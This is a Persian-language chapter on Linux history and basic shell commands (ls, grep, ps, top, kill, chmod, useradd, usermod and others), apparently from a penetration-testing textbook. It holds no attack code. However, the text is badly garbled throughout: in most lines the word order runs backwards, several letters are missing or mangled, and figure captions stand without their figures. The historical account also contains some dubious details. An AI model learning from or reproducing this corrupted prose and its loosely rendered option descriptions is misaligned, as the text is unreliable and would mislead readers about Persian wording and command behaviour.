 .شد منتقل Unix نوع بر یمبتن X عامل ستمیس به خود یاختصاص
 جانبی پروژه یک یونیکس ابتدا در .Multics اصطلاح با نمایشی ،بود Unics پروژه اصلی نام

 .کردند نمی مالی پشتیبانی را پروژه این فعال طور به بل های لابراتوار زیرا ،بود تیم یک توسط
 شرکت که بود بل گرید های انهیرا در استفاده یبرا میت های تیقابل کردن اضافه از پس تنها نیا
  .کرد یبانیپشت به شروع ،پروژه از شوق و شور با
 کاملاً یونیکس 1972 سال در .شدند می نوشته اسمبلی زبان به ها عامل سیستم همه ،زمان آن در
 تیمی اعضای همان توسط ،بل های لابراتوار در C ،اتفاقاً .شد بازنویسی C نویسی برنامه زبان به
 ارتباط همیشه ،دلیل همین به .بود شده ساخته نیز ،کردند می کار یونیکس پروژه روی که

 .است داشته وجود Unix و C بین شدیدی
 اولین برای باز متن .آورد می ارمغان به را باز متن یونیکس انواع نهایت در باز متن جنبش ظهور
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 استالمن ریچارد 1985 سال در .گرفت قرار عموم توجه مورد استالمن ریچارد توسط بار
 را باز متن مجوز پارامترهای سند این .کرد منتشر را "GNU مانیفست" عنوان تحت ای قالهم

 بنیاد .است شده معرفی باز متن افزار نرم پدر عنوان به را استالمن بنابراین ،کند می مشخص
 اکثر برای اکنون که کرد ایجاد را GNU عمومی مجوز بعداً Stallman رایگان افزار نرم

 .شود می استفاده Linux جمله از ،باز متن محصولات
 GNU را سیستم این وی کرد. خودش عامل سیستم روی کار به شروع 1983 سال از استالمن
 از باز متن نسخه یک ایجاد سادگی به وی هدف . (نیست GNU Not Unix مخفف) نامید

 یونیکس یهشب امکان حد تا (نباشد یونیکس GNU) اسم وجود با خواست می او .بود یونیکس
 با زودی به و نیافت دست ای گسترده محبوبیت به استالمن منبع Unix نسخه حال این با .باشد
 .شد جایگزین دیگری تر قوی نوع
 بدین آمده پدید 1980 و 1970 های دهه در یونیکس انواع از بسیاری تعداد که دلیل یک

 کار یونیکس منبع کد با واقع در یونیکس انواع سازندگان از بسیاری که باشد می صورت
 منبع کد ،کردند ایجاد را یونیکس بل های لابراتوار وقتی که است یادآوری به لازم .کردند می
 دانشمندان که است معنی این به و،ندارد وجود دیگری مورد و کردند منتشر عموم برای را آن

 با نزدیک از زیاد احتمال به ،کردند می مطالعه را عامل های سیستم 80 و 70 دهه در که کامپیوتر
 اند. بوده آشنا یونیکس منبع کد
 نوع Andrew S. Tanenbaum نام به دانشگاه (Professor) تمام استاد یک 1987 سال در

 از و بود کاربردی و پایدار نسبتاً که Minix مینیکس نام به ،کرد ایجاد را یونیکس از دیگری
 به کامل طور به تننباوم پروفسور توسط Minix .بود یونیکس مناسب ساز شبیه یک منطقی نظر
 خود آموزان دانش برای ابزاری عنوان به اول درجه در را آن وی .است شده نوشته C زبان
 ،عامل سیستم یک برای واقعی منبع کد مطالعه با که خواست می ها آن از وی .کرد ایجاد
 های سیستم سازی پیاده و )طراحی وی کتاب در Minix منبع کد .بیاموزند را عامل های سیستم
 قرار استفاده مورد بسیار که درسی کتاب یک در منبع کد دادن قرار .است شده گنجانده عامل(
 روبرو منبع کد این با کامپیوتر علوم دانشجویان از زیادی تعداد که بود معنی این به ،گرفت می
 دانشجویان از بسیاری که بود عنیم بدان ،یونیکس اصلی منبع قبلی انتشار با همراه .شدند می
 گسترده گرفتن قرار .گرفتند می یاد را یونیکس ساز شبیه یا / و یونیکس کاملاً کامپیوتر علوم
 دلایلی از یکی یونیکس های ساز شبیه منبع کد هم و یونیکس اصلی منبع کد معر  در
 .دهستن یونیکس های ساز شبیه باز متن های عامل سیستم اکثر که باشد می
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 این اما ،آورد دست به را دیگر های یونیکس انواع از برخی محبوبیت نتوانست Minix اگرچه
 لینوس داستان واقعاً لینوکس عامل سیستم داستان .بود لینوکس خالق برای اشتیاق یک

 که زمانی کرد شروع 90 دهه اوایل از لینوکس در را خود کار وی .باشد می توروالدز
 در کامپیوتر علوم رشته در .بود دکترا مقطع در تحصیل حال در و میلیتک تحصیلات دانشجوی

 , یا DOS هیچ زیرا ،کردند می کار یونیکس با کامپیوتر علوم دانشجویان همه ،روزها آن
 .بود کننده سرگرم و علاقه مورد کامپیوتر یک هم هنوز اپل و ،نداشت وجود ویندوزی
 .بود آشنا یونیکس ملعا سیستم با کاملاً توروالدز ،درنتیجه
 موارد توروالدز کرد. معرفی را Minix عامل سیستم ،یونیکس یادگیری بر علاوه توروالدز
 از بهتری نوع تواند می که بود معتقد و ،داشت علاقه Minix عامل سیستم مورد در را زیادی
 را آن و ردک ایجاد را خود مختص یونیکس شده سازی شبیه او بنابراین .کند ایجاد را یونیکس

 و Linus ،خود کوچک نام از ترکیبی عنوان به را Linux نام او .کرد منتشر باز متن صورت به
 .کرد انتخاب Unix، nix انتهای
 موضوع این به شد مجبور توروالدز ،بود اجرا دست در وی لینوکس اولیه پروژه که هنگامی
 سیستم کد ارسال با ابتدا وی .داد قرار عموم دید معر  در را آن توان می چگونه که بپردازد
 یا بکارگیرد را آن ،کند استفاده آن از که داد اجازه شخصی به ،اینترنت صفحه روی بر عامل
 اینترنت در را 0.01 لینوکس GNU عمومی مجوز با توروالدز ،سرانجام .کند اصلاح را آن

 منبع کد به کامپیوتر نویسان برنامه و دانشمندان سایر ،بود باز متن که آنجا از و کرد منتشر
 توسعه در و شده لینوکس درگیر جهان سراسر در مردم تا شد باعث امر این .داشتند دسترسی

 .باشند سهیم آن
 سرگرمی عامل سیستم یک از سیستم این یافت. افزایش لینوکس محبوبیت ،بعد سالهای طی
 فروشندگان .است شده تبدیل کامل تجاری عامل سیستم یک به کامپیوتر به مندان علاقه برای

 خود ظریف های تفاوت و کرده دریافت را لینوکس هسته ،افراد و ها شرکت جمله از ،مختلف
 مراحل ،اضافی های اپلیکین شامل دارد احتمال ظریف های تفاوت این .کنند می اضافه را

 لینوکس توزیع ایجاد در Red Hat ،مثال عنوان به .باشد مختلف اهداف حتی و نصب مختلف
 دو هر Kubuntu و Ubuntu که حالی در ،کند می کار بزرگ مقیاس با سرورهای برای مناسب
 های توزیع سپس .دارند قرار هدف کاری ایستگاه یک در شده نصب کار تازه کاربران برای

 امنیت برای خاص طور به که اند آمده بوجود NetSecL و EnGarde، Trustix مانند لینوکس
 ها فایروال مخصوص که یافت را لینوکس های توزیع توان می همچنین اند. شده طراحی بالا
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 لینوکس توزیع که بگوییم اگر نیست آمیز اغراق .هستند FireGate Server و IPCop مانند
 که کرد بیان اینجا در یاید البته و دارد، وجود باشید داشته است ممکن که هدفی هر برای تقریباً
 .باشد می نفوذ تست جامعه علاقه دمور ،لینوکس کالی
 

Linux Commands. 

 متن در را لینوکس از شما درک است ممکن و دارد اهمیت لینوکس تاریخچه که حالی در
 و کرده، لینوکس با کار به قادر را شما که باشد می این فصل این اصلی هدف ،دهد قرار خود
 را لینوکس بنیادی دستورات بخش این در .پردازد می لینوکس دستورات از استفاده معنای به

 .کرد خواهیم بررسی
 

ls Command. 

ls باشد می ابتدایی دستورات از یکی. ls این.کند می لیست را شما فعلی دایرکتوری محتویات 
-1 شکل در را دستور این توانید می .کنید تصور ویندوز در dir دستور مانند توانید می را دستور

 .کنید می مشاهده 9

 
 ls دستور با فهرست مطالب لیست .9-1 شکل
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 هدا  پدرچم  ایدن  .است (Flagپرچم) دارای (ویندوز موضوع آن برای یا) لینوکس در دستوری هر
 .کند ایجاد متفاوتی نتیجه تا داده تغییر را دستور تا دهد می امکان شما به

 انندم ،?- است زیر دستور کردن تایپ ،دستورات این دیدن برای راه ترین ساده
ls -? 

 گیرد می بکار را زیر موارد مانند آن دنبال به و (دستی صفحه اختصار به) man اصطلاح از یا 
man ls 

 :باشد می رایج ls های پرچم از مورد چند زیر موارد
-a دهد. می نشان شما به را مخفی های فایل حتی ،ها فایل همه 

ls –l آورد. می دست به را ها فایل خصوصیات 
ls –t اصلاح. زمان اساس بر سازی مرتب 

ls باشید آشنا آن با کاملاً باید که باشد می اساسی دستور یک. 
 

cd Command. 

 بالا یا پایین به دایرکتوری درخت تا شود می استفاده ها دایرکتوری تغییر برای cd دستور از
 شده آورده cd با نهگزی چند زیر در .کند می کار ویندوز در cd دستور به شبیه بسیار که برود،
 :است

cd directoryname   // تغییرات در دایرکتوری 

cd ~      // تغییردر دایرکتوری خانه برای آن کاربر   

 //  ..cd کند یک سطح تغییر می 

 هدا  پوشده  مدرور  یبدرا  ،دستور نیا ییابتدا درک بدون .است گرید یاساس اریبس دستور کی نیا
   .دیکن مشاهده 9-2 شکل در دیتوان می را دستور نیا .بود خواهد دشوار اریبس لینوکس در
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 cd دستور با ها دایرکتوری تغییر .9-2 شکل

 
Pipe Output. 

 .دهند می نمایش صفحه به را خود خروجی ،فر  پیش طور به (،shell) پوسته دستورات تمام
 از برخی در خروجی دهید می ترجیح که باشد داشته وجود مواردی است ممکن ،حال این با

 باعث امر این .شود می وارد(<) redirect دستور که است جایی همان این .شود ذخیره ها فایل
 برخی برای خصوصاً .شود هدایت فایل یک به دیگر دستورات از برخی خروجی که شود می
 :است مفید بسیار سیستم دستورات از

ls > myfile.txt 

 .دهید اننش 9-3 شکل در را دستور این توانید می
 

 
 .Pipingدستور یک سازی پیاده .9-3 شکل
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  fingerدستور

 که شود، می استفاده خاص کاربر به مربوط اطلاعات آوردن دست به برای finger دستور از
 و کنید اجرا را top دستور اگر ،مثال عنوان به .باشد می مفید سیستم ادمین یک برای اغلب
 این که کند می ایجاد سرورتان روی بر را فرایند چندین خاص کاربر یک که کنید مشاهد
 اطلاعات کاربر آن درباره باشید داشته تمایل دارد امکان ،کنند می مصرف را منابع ها پردازش
 .است شده داده نشان 9-4 شکل در که کنید، کسب

 

 
 

 finger Command با کاربر فعالیت بازیابی .9-4 شکل

 

 grep دستور

 یونیکس و لینوکس کاربران از بسیاری توجه مورد بودن پذیر انعطاف لدلی به grep دستور
 مشاهده گسترده نسبتاً ورودی یک ،کنید تایپ (Shellپوسته) در را man grep اگر .باشد می

 بخش یک .کند می لیست کنید منتقل grep به توانید می که را پرچم تعدادی که کرد خواهید
 را دستور این اطمینان قابلیت و پذیری انعطاف تواند ینم ،کتاب فصول از یکی از مختصری
 .داد ارائه را grep مورد در اساسی مقدماتی اینجا در توان می ،حال این با .باشد داشته
 :کنید پیدا somefile نام به فایلی در را "ویروس" کلمه موارد همه

grep 'virus' somefile 

 نگیرید: نادیده را موارد اما ،شیدبا فایل همان در مشابه های داده دنبال به
grep -i 'virus' somefile 



 آموزش اصول و مفاهیم تست نفوذ 254 

 

 :شوند می ختم s با و شده شروع v با که باشید کلماتی دنبال به فایل در
grep 'v…s' somefile 

 تعددداد بدده توجدده بدددون .کنددد جسددتجو را حددرف چنددد کدده لینددوکس طریددق از ...مددورد ایددن در
 :جستجو برای گر مداخله های های حرف

grep 'v. *s' somefile 

 :کند می محاسبه دارند پوسته عنوان به را bin / false / که را حسابهایی تعداد زیر دستور
grep -c false /etc/passwd 

 پیددا  ای نتیجده  اگدر  .دهدد  مدی  نمدایش  را متندی  فایدل  از سدطر  آن ،کندد  پیدا ای نتیجه grep اگر 
 در توانیدد  می را grep اصلی های نمونه از یبرخ .شود می داده نمایش (Blankخالی) جای،نکرد
 .کنید مشاهده 9-5 شکل

 
 .grep مثالهای .9-5 شکل

 

 ps دستور

 فرایند به مربوط دستور ترین ابتدایی احتمالاً و باشد می سیستم فرایندهای به مربوط ps دستور
 بدون .کند می فراهم را سیستمتان روی بر اجرا حال در فعلی فرایندهای از لیست یک که بوده،
 کنترل ترمینال یک دارای و هستند جاری کاربر به متعلق که را فرایندهایی ps ،ای گزینه هیچ
 کاربر با یکسان کاربری شناسه با فرایندهای تمام ps ،فر  پیش طور به .کند می لیست ،هستند
 فرایند شناسه نای .کند می انتخاب را (Invoker) کننده استناد همان ترمینال با مرتبط و جاری

(PID Process (ID، فرایند با مرتبط ترمینال (TTY،) فرمت در یافته تجمع پردازنده زمان dd-

hh: mm: ss با .است نشده مرتب فر  پیش طور به خروجی .دهد می نمایش را اجرایی نام و 
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 که باشد می نهیگز یتعداد یدارا دستور نیا ،پوسته دستورات از بسیاری مانند ،حال این
 شود می استفاده بیشتر که هایی گزینه اینجا در .دیکن منتقل آن به رفتار رییتغ یبرا دیتوان می

 :دارد وجود
 - A گزینه همان این .دهد می نمایش را فرایندها تمام -e شده داده توضیح زیر در که است 

 .است
 -Nکنند می برآورده را هشد تعیین شرایط که آنهایی جز به ،دهد می نمایش را فرایندها تمام. 
 -aبا را فرایندها تمام TTY و داده نمایش جلسات بالای)رهبران( سطح فرایندهای جز به 

 .دهد می نمایش نیست مرتبط خاصی ترمینال به که فرایندی هر همچنین
 -dکند می حذف را جلسه بالای)رهبران( سطح فرایندهای اما ،دهد می نمایش را فرایندها تمام. 

- e دهد می نمایش را سیستم این در موجود های فرایند کلیه ،ترمینال یا کاربر از نظر فصر. 
-T دهد می نمایش ترمینال این در را ها فرایند تمام. 
 -xکنترل بدون فرایندهای نمایش TTY ها. 
 -Hدهد می نمایش مراتبی سلسله فرمت در را فرایندها. 

 w- گسترده فرمت در را ها داده (wide format) دهد می نمایش. 
 .کنید مشاهده 9-6 شکل در را ps -e گزینه و ps دستور توانید می

 
 

 ps دستور با فرایندها کلیه نمایش .9-6 شکل
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  pstree دستور

 شکل به را ها پردازش تمام که تفاوت این با دارد ps دستور به زیادی شباهت pstree دستور
 در نمایه این . (ها دایرکتوری برای tree کار این نجاما نحوه شبیه) دهد می نشان درخت ساختار
 مفید بسیار شخصاً ،است شده داده نشان 9-7 شکل در که را اجرا حال در فرایندهای مورد
 .دهم می ترجیح ps دستور به نسبت را آن و دانم می

 
 .pstree دستور با درخت نمای در فرایندها نمایش .9-7 شکل

 

 استفاده ها آن از باشد لازم دارد امکان که است نهیگز نیچند یدارا ،دستورات اکثر مانند
 :دیکن
 -aدهد می نشان را فرمان خط مناظره هر. 
 -Aهای کاراکتر از استفاده با را نمایشگر ASCII دهد می تغییر درخت ترسیم برای. 
 -cعیفر های درخت ،فر  پیش طور به .کند می غیرفعال را یکسان فرعی درختان تراکم 

 اند. شده فشرده ممکن زمان درهر
-G خط رسم های کاراکترهای از نمایش صفحه شود می باعث VT100 کند استفاده. 
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 -hپشتیبانی کردن هایلایت از ترمینال این اگر .دهد می نمایش را آن اجداد و فعلی فرایند 
 .دهد می نمایش سادگی به را معمولی pstree یک ،نکند
 -Hًمانند دقیقا -h هایلایت را شده مشخص فرایند آن جای به که تفاوت این با ،کند می ارک 

 H- از استفاده هنگام pstree ،نباشد دسترس در کردن هایلایت اگر ،h- برخلاف.کند می
 .شود می خراب

 -lدر فر ، پیش صورت به .کند استفاده طولانی خطوط از نمایش صفحه شود می باعث 
 به خطوط ،نمایش عر  بودن ناشناخته صورت در یا TTY غیر به خروجی ارسال صورت
 .شوند می کوتاه 132 یا صفحه عر 

 -nبا را والد( جد) همان با فرایندهای PID کند می مرتب (عددی سازی مرتب) نام جای به. 
-p نمایش باعث PID شود. می نمایش صفحه در PID اعداد صورت به فرایند نام هر از بعد ها 

 .شوند می داده نشان پرانتز رد )دهگان( اعشاری
 -uانتقال UID که زمان هر .دهد می نشان را UID با فرایندی UID باشد متفاوت آن والدین، 

UID شود می داده نشان پرانتز در فرایند نام از پس جدید. 
 -Uالخط رسم کاراکترهای از نمایشگر شود می باعث UTF-8 کند استفاده ()یونیکد. 
 -Vدهد می نمایش ار نسخه اطلاعات. 
 استفاده pstree فرایندهای مورد در بیشتر اطلاعات آوردن دست به برای توان می ها گزینه این از

 .کرد
 

  top دستور

 استفاده زمان ترتیب به را ها فرایند که تفاوت این با باشد می ps دستور شبیه بسیار top دستور
 ،باشد مفید بسیار ادمین یک برای ندتوا می که کند، می پردازش لیست از CPU پردازنده
 یا مقصر خواهید می و است زیاد شما CPU از استفاده میزان که شوید متوجه اگر خصوصاً
 از بیشتر بسیار را top دستور نمایشی اطلاعات شخصه به خود من .کنید شناسایی را مجرم
 دستور توانید می .کنم یم استفاده ps دستور از بیشتر خیلی top دستور از و دانسته ps نمایش
 .کنید مشاهده 9-8 شکل در را فوق
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 top دستور با (CPUپردازنده) زمان مشاهده .9-8 شکل

 

 ستیل پردازنده از استفاده با را فرایندها دستور نیا که آنجا از که دیباش داشته خاطر به دیبا
 جینتا به یابیدست انامک کامل طور به ،مختلف های زمان در دستور یاجرا صورت در ،کند می

 را آن نمایش نحوه تواند می که باشد می گزینه تعدادی دارای دستور این .دارد وجود مختلف
 ،کنید مشاهده را آن اگر بنابراین ،شود می روز به اتومات صورت به خود ،واقع در .دهد تغییر

 .بود خواهید موارد تغییر شاهد احتمالاً
 -b ای دسته حالت عملیات. top ای دسته حالت" در Batch mode " افراد .شود می شروع 

 سطحی یک فایل یک یا دیگر های برنامه از برخی به خروجی ارسال برای دستور این از غالباً
(file Flat) کنند می استفاده. 
 -c دستور.برنامه / فرمان خط نام وضعیت تغییر top حافظه حالت آخرین معکوس حالت با را 

"c" ودش می شروع. 
 -dبه را زمانی فاصله (عنوان -d ss.tt دهم های ثانیه) بین تأخیر .اندازد می تأخیر به 

 .کند می مشخص را صفحه های بروزرسانی
 -hهمان Help خارج آن از سپس ،دهد می نشان را استفاده اعلان و کتابخانه نسخه .باشد می 

 .شود می
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H- موضوعات. ضامن top حالت آخرین معکوس با "H" تغییر این وقتی .شود می شروع 
 top ،صورت این غیر در .شوند می داده نمایش جداگانه موضوعات همه ،باشد روشن وضعیت
 .دهد می نمایش را فرایند یک در موجود موضوعات همه بندی جمع

-i بیخود یا اساس بی فرایندهای وضعیت تغییر. top حالت آخرین معکوس با "i" شروع 
 نمایش هستند اساس بی که (tasks) کارهایی ،باشد خاموش وضعیت تغییر این وقتی .شود می
 .شوند نمی داده
 -nعنوان به را تکرارها تعداد -n تکرارهای تعداد حداکثر .کند می محدود تعداد top باید که 

 .کند می مشخص شود تولید خاتمه از قبل
 -uعنوان به کاربر توسط -u کاربری نام (username) با فقط مانیتورها .شود یم نظارت UID 

 .کنند می پردازش شده داده نام با مطابق کاربری نام یا مؤثر
-U عنوان به کاربری توسط -U کاربران از برخی (someuserid) یک با فقط .شود می نظارت 

UID کند می پردازش دارد مطابقت آن با که کاربری نام یا. 
-p دارای های فرایند فقط IDs داده بار 20 تا تواند می گزینه این .کند می کنترل را شده مشخص 
 .است مجاز روش دو هر ترکیب .دهد ارائه PID 20 حداکثر با ویرگول با لیستی تواند می یا،شود
 که نیست لازم ،برگردید عادی عملیات به بخواهید اگر .است فرمان خط گزینه یک فقط این
top کنید اجرا را ‘=’ تراکنشی دستور فقط - دکنی اندازی راه دوباره و کرده ترک را. 
 -sامن حالت عملیات. top برای حتی ،اجباری امن حالت با root شود می شروع. 

-S  top حالت آخرین معکوس با "S" تجمعی حالت» وقتی .شود می شروع Cumulative 

mode » ستیل ،کرده دهاستفا آن از که بچه فرایند هر پردازنده زمان با فرایند هر ،است روشن 
 .است شده
 -v: شود می خارج سپس ،دهد می نشان را استفاده اعلان و کتابخانه نسخه. 
 

  killدستور

 به این .برد می بین از را ID توسط اجرا حال در فرایند یک که باشد می ساده بسیار kill دستور
 شناسه به دستور ینا .شود می حافظه از daemon دایمون یا اپلیکیشن آن unload باعث سادگی
 که ،کرده پیدا را فرایند به مربوط PID باید بنابراین ،دارد بستگی (process ID) فرایند
 .دهد می نشان را kill دستور 9-9 شکل .شود انجام ps مانند دستوری از استفاده با تواند می
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 . kill دستور با اجرا حال در فرایند یک بردن ازبین 9-9 شکل
 

 پیدا مشابه دستورات از برخی یا ps -e یا ps از استفاده با را پردازش های شناسه که است بدیهی
 سادگی به و دهد، نمی هشدار شما به لینوکس ،ویندوز برخلاف زیرا ،باشید مراقب .کنید می

 راه حساب ماشین یک فقط مثال عنوان به . نمایشی نسخة این برای .برد می بین از را فرایند
 .کردم استفاده آن بردن بین از برای آن فرایند شناسه از سپس و هکرد اندازی

 

  (Basic File and Directory Commands) دایرکتوری و فایل یاصل دستورات

 اینجا در موارد ترین اساسی .بود خواهد مفید شما برای یرکتوریدا و لیفا یاصل دستورات
 نام از آن دنبال به و mkdir توردس از ،دایرکتوری ایجاد برای .است شده داده پوشش

 مانند ،کنید استفاده دایرکتوری
mkdir testdir 

 شده داده نشان اینجا در که طور همان ،کنید استفاده rm دستور از ،فایل یک کردن پاک برای 
 :است

rm txt 
 :مانند ،کنید می استفاده مقصد و فایل نام با mv دستور از ،فایل یک انتقال برای

mv testfile.txt testdir 
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 :شود استفاده rmdir از سپس ،باشد خالی باید ابتدا ،دایرکتوری یک حذف برای
rmdir testdir 

 ها دایرکتوری و ها فایل در تغییرات دادن نشان برای ls همراه به را دستورات این 9-10 شکل
 .است داده نشان

 
 .اصلی فایل دستورات .9-10 شکل

 

 chown دستور

 نیاول به توجه با ،دهد می رییتغ را شده داده لیفا هر گروه ای / و کاربر تیمالک Chown دستور
 آن ،شود داده کاربری نام یک فقط اگر .شود می تفسیر زیر شرح به که ،انتخاب عدم استدلال
 نقطه یا نقطه)کالن( دو با کاربری نام اگر .شود می شناخته ها فایل یا فایل مالک عنوان به کاربر
 این .کند می تغییر نیز ها فایل مالکیت گروه ،شود دنبال ها آن بین فاصله بدون گروه نام یک و

 :است شده آورده اینجا در ها آن از استفاده بیشترین که دارد زیادی های گزینه دستور
-c، :--changes: مانند گزینه این (لفاظ verbose) انجام تغییر یک که زمانی اما کند می عمل 
 شود می زارششود،گ می
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 -- dereference که شود می باعث chown نمادین پیوند هر مرجع به (symbolic link) اعمال 
 .نمادین پیوند خود نه ،شود
 from = CURRENT_OWNER: CURRENT_GROUP --: تا شود می باعث گزینه این 

chown که یگروه ای / و مالک که صورتی در فقط دهد تغییر را فایل هر گروه یا / و مالک 
 .دارند مطابقت اند شده مشخص نجایا در
 -f, --silent, --quiet : که شود می باعث ها گزینه این chown شود مانع را خطا های پیام بیشتر. 
 -R, --recursive: تا شود می باعث گزینه این chown و ها فایل روی بازگشتی بصورت 

 .کند کار ها دایرکتوری
 -v, --verbose: شود می تر دقیق خروجی باعث گزینه نای. 

--help برای کمک نمایشگر این chown باشد می خروجی و. 
--version شود می داده نمایش نسخه اطلاعات کار این با. 

 فایل صاحب ،شکل این در .است شده داده نشان chown از ساده بسیار ای نمونه 9-11 شکل
atestfile.txt اسم به کاربر به را bob دهیم می غییرت. 

 
 chown دستور با فایل مالکیت تغییر .9-11 شکل
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 chmod دستور

 :هستند ساده ها گزینه .شود می استفاده فایل مجوزهای تغییر برای chmod دستور از
 .است " read خواندن" مخفف 4 
 .است "write نوشتن" مخفف 2 
 .است "execute اجرا" مخفف 1 
 .است "no permission اجازه بدون" مخفف 0 
 .دهد می را مجوزها همه ،1 و 2 ،4 ترکیب با 7 

 باشد. می زیر صورت به سینتکس
chmod options permissions filename 

 ،بنابراین .همه سوم و دارد قرار آن در کاربر که گروهی دوم ،کاربر اول .دارد وجود مجوز سه
 فقط مجوز افراد همه برای و هشد داده کامل مجوزهای گروه و کاربر به ،9-12 شکل در

 .است شده داده atestfile.txt فایل خواندن

 
 chmod دستور با فایل مجوزهای اختصاص .9-12 شکل

 

 bg دستور

 در کداربر  با تعامل بدون سپس .کند می ارسال ((background زمینه پس به را کاری bg دستور
 .باشد می اجرا حال
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 fg دستور

 .کنید تعامل آن با توانید می بنابراین ،فرستد می (foreground) زمینه یشپ به را کاری fg دستور
 fg دستور از خواهید می که را کاری اگر .کرد خواهد استفاده فعلی ترمینال از فرایند این

 .دهد می انجام بود زمینه پس در که را کاری آخرین کار این ،کنید حذف کند استفاده
 

  useradd دستور

 گزینه تعدادی .کند می اضافه سیستم به را خاصی کاربر :باشد می ساده بسیار useradd دستور
 :دارد وجود دستور این برای

-c (Comment) قرار برای گزینه این از ادمینها غالباً .کند می اضافه کاربر فایل به نظر یک 
 .کنند می استفاده حساب نام یا کاربر برای کامل نام دادن
 -d (home_dir) از استفاده با جدید کاربر گزینه این با home_dir برای مقداری عنوان به 

 .شود می ایجاد کاربر لاگین دایرکتوری
-e (expire_date) شده ارائه مشخص تاریخ در کاربری حساب که شود می باعث گزینه این 

 به ستا ممکن که افرادی سایر و قراردادی کارمندان مورد در ویژه به امر این .شود منقضی
-YYYY-MM فرمت در تاریخ .است مفید بسیار باشند داشته نیاز سیستم به موقت دسترسی

DD است شده مشخص. 
 -f (inactive_days) دائمی شدن غیرفعال تا رمزعبور انقضا از پس روزهای تعداد گزینه این 

 ،شود یمنقض ورودش رمز دهدکه اجازه کاربر اگر ،دیگر عبارت به .کند می تعیین را حساب
 حساب ،رمزعبور انقضا محض به 0 مقدار .شود می غیرفعال حسابش مشخص روز یک از پس
 .کند می غیرفعال را
 -g (initial_group) اولیه کاربر لاگین گروه عنوان به را گروه شماره یا نام گزینه این 

 توانید مین کاربر افزودن با .باشد حاضرموجود حال در گروه یک باید این .دهد می اختصاص
 .کنید ایجاد را گروه
 -G (Group) از ویرگول با گروه هر .باشد می ها آن عضو نیز کاربر که گروههایی از لیستی 

 .ندارد دخالتی سفیدی فضای هیچ و ،شود می جدا دیگر گروه
 -m اصلی دایرکتوری که شود می باعث گزینه این home directory عدم صورت در کاربر 

 .دشو ایجاد وجود
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 -M از ستمیس میتنظ اگر حتی ،نشود ایجاد اصلی کاربر دایرکتوری شود می باعث گزینه این 
/etc/login.defs های دایرکتوری جادیا یبرا home باشد. 
 -o با کاربر یک تا دهد می امکان شما به گزینه این UID کنید ایجاد (یکتا غیر) تکراری های.  

-p (Passwd) توسط که طور همان ،کند می ایجاد را شده رمزگذاری ورود رمز گزینه این 
crypt (3) است شده برگردانده. 

 -rبا کاربر کی - شود می استفاده سیستم حساب یک ایجاد برای پرچم این UID از تر نییپا 
 .شود نمی یمنقض آن عبور رمز و etc/login.defs/ در شده فیتعر UID_MIN مقدار

-s (Shell) بدین فر  پیش .کنید تنظیم را کاربر این لاگین پوسته نام توانید می گزینه این با 
 سیستم آن فر  پیش پوسته کاربر صورت این در ،بماند خالی قسمت این که باشد می صورت

 .کند می دریافت را
-u (user ID) از اینکه مگر کند، می تنظیم را کاربر شناسه عددی مقدار گزینه این کاربر شناسه 

 .باشد یونیک یا یکتا باید مقدار این که،کنید ستفادها o- گزینه
 .است شده استفاده jsmith نام به کاربری افزودن برای useradd دستور از ،9-13 شکل در

 
 .useradd با کاربر افزودن .9-13 شکل
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 .شود داده jsmith به انقضا تاریخ تا شده استفاده e- از
userdel دستور 

 تنها .کند می پاک سیستم از را شده ارجاع کاربری حساب .باشد می دهسا بسیار userdel دستور
 (home directory) اصدلی  دایرکتدوری  شدود  مدی  باعدث  کده  اسدت  -r گزینه دستور این گزینه
 .شود حذف کاربر های ایمیل و اصلی دایرکتوری خود با همراه کاربر
 .دهد می نشان را دستور این 9-14 شکل

 
 .userdel با کاربری ابحس یک حذف .9-14 شکل

 

 شود حذف home directory و bob email spool شده سعی کنید، می مشاهده که طور همان
 .نداشت را کدام هیچ وی اما
 

  usermod دستور

 حساب یک دهد می امکان شما به دستور این .شود می استفاده useradd از بیشتر است ممکن
 های جنبه سایر یا اصلی دایرکتوری ،انقضا تاریخ نیدتوا می .کنید اصلاح را موجود کاربری
 کاربری حساب های جنبه از برخی باید که است متداول روش یک این .دهید تغییر را حساب
 :اختلاف اندکی با ،هستند useradd مثل همانندی بسیار های گزینه .دهد تغییر را موجود
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-c (Comment) قرار دستوربرای این از ادمینها غالباً .ندک می اضافه کاربر فایل به نظر یک این 
 .کنند می استفاده حساب نام یا کاربر برای کامل نام دادن
 -d (home_dir) از استفاده با جدید کاربر گزینه این از استفاده با home_dir مقداری عنوان به 

 .کند می ایجاد کاربر لاگین یا ورود دایرکتوری برای
 -e (expire_date) شده ارائه مشخص تاریخ در کاربری حساب که شود می باعث زینهگ این 

 به است ممکن که افرادی سایر و قراردادی کارمندان مورد در ویژه به امر این .شود منقضی
-YYYY-MM فرمت در تاریخ .است مفید بسیار باشند داشته نیاز سیستم به موقت دسترسی

DD است شده مشخص. 
-f (inactive_days) دائمی شدن غیرفعال تا رمزعبور انقضا از پس روزهای تعداد ینهگز این 

 پس ،شود منقضی ورودش رمز دهد اجازه کاربر اگر ،دیگر عبارت به .کند می تعیین را حساب
 را حساب ،رمزعبور انقضا محض به 0 مقدار .شود می غیرفعال حسابش مشخص روز یک از

 .کند می غیرفعال
 -g (initial_group) کاربر لاگین گروه عنوان به را گروه شماره یا نام گزینه این ولیها گروه 

 را گروه توانید نمی کاربر افزودن با .باشد موجود گروه یک باید دهد،که می اختصاص اولیه
 .کنید ایجاد

-G (Group) ویرگول)کاما( با گروه هر .باشد می ها آن عضو نیز کاربر که گروههایی از لیستی 
 .ندارد دخالت سفیدی فضای هیچ و ،شود می داج دیگر گروه از
 -l (login_name) دهد می تغییر را کاربر ورود نام این. 
 -p(password) توسط که طور همان ،کند می تنظیم را کاربر شده رمزگذاری ورود رمز crypt 
 .شود می بازگردانده (3)

-s (Shell) خالی .کنید تنظیم را کاربر  فر پیش پوسته توانید می گزینه این از استفاده با 
 .کند انتخاب را فر  پیش لاگین پوسته سیستم شود می باعث قسمت این گذاشتن

 -u (user ID) شود می استفاده کاربر شناسه تنظیم برای گزینه این از. 
 -L با را گزینه این توانید نمی .شود می استفاده کاربر عبور رمز کردن قفل برای گزینه این -p یا 

-U کنید استفاده. 
 -U با را گزینه این توانید نمی .شود می استفاده کاربر ورود رمز کردن باز برای مورد این -p یا -

L کنید استفاده. 
 .شود  می استفاده jsmith کاربر دایرکتوری تغییر برای usermod دستور از ،9-15 شکل در
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 .usermod با کاربری حساب یک اصلاح .9-15 شکل

 

  users دستور

 اندد  شده سیستم وارد حاضر حال در که را افرادی سادگی به که باشد می ساده بسیار دستور یک
 :دارد گزینه دو تنها که دهد، می نمایش

 -- help دهد. می نشان را شدن خارج و راهنما 
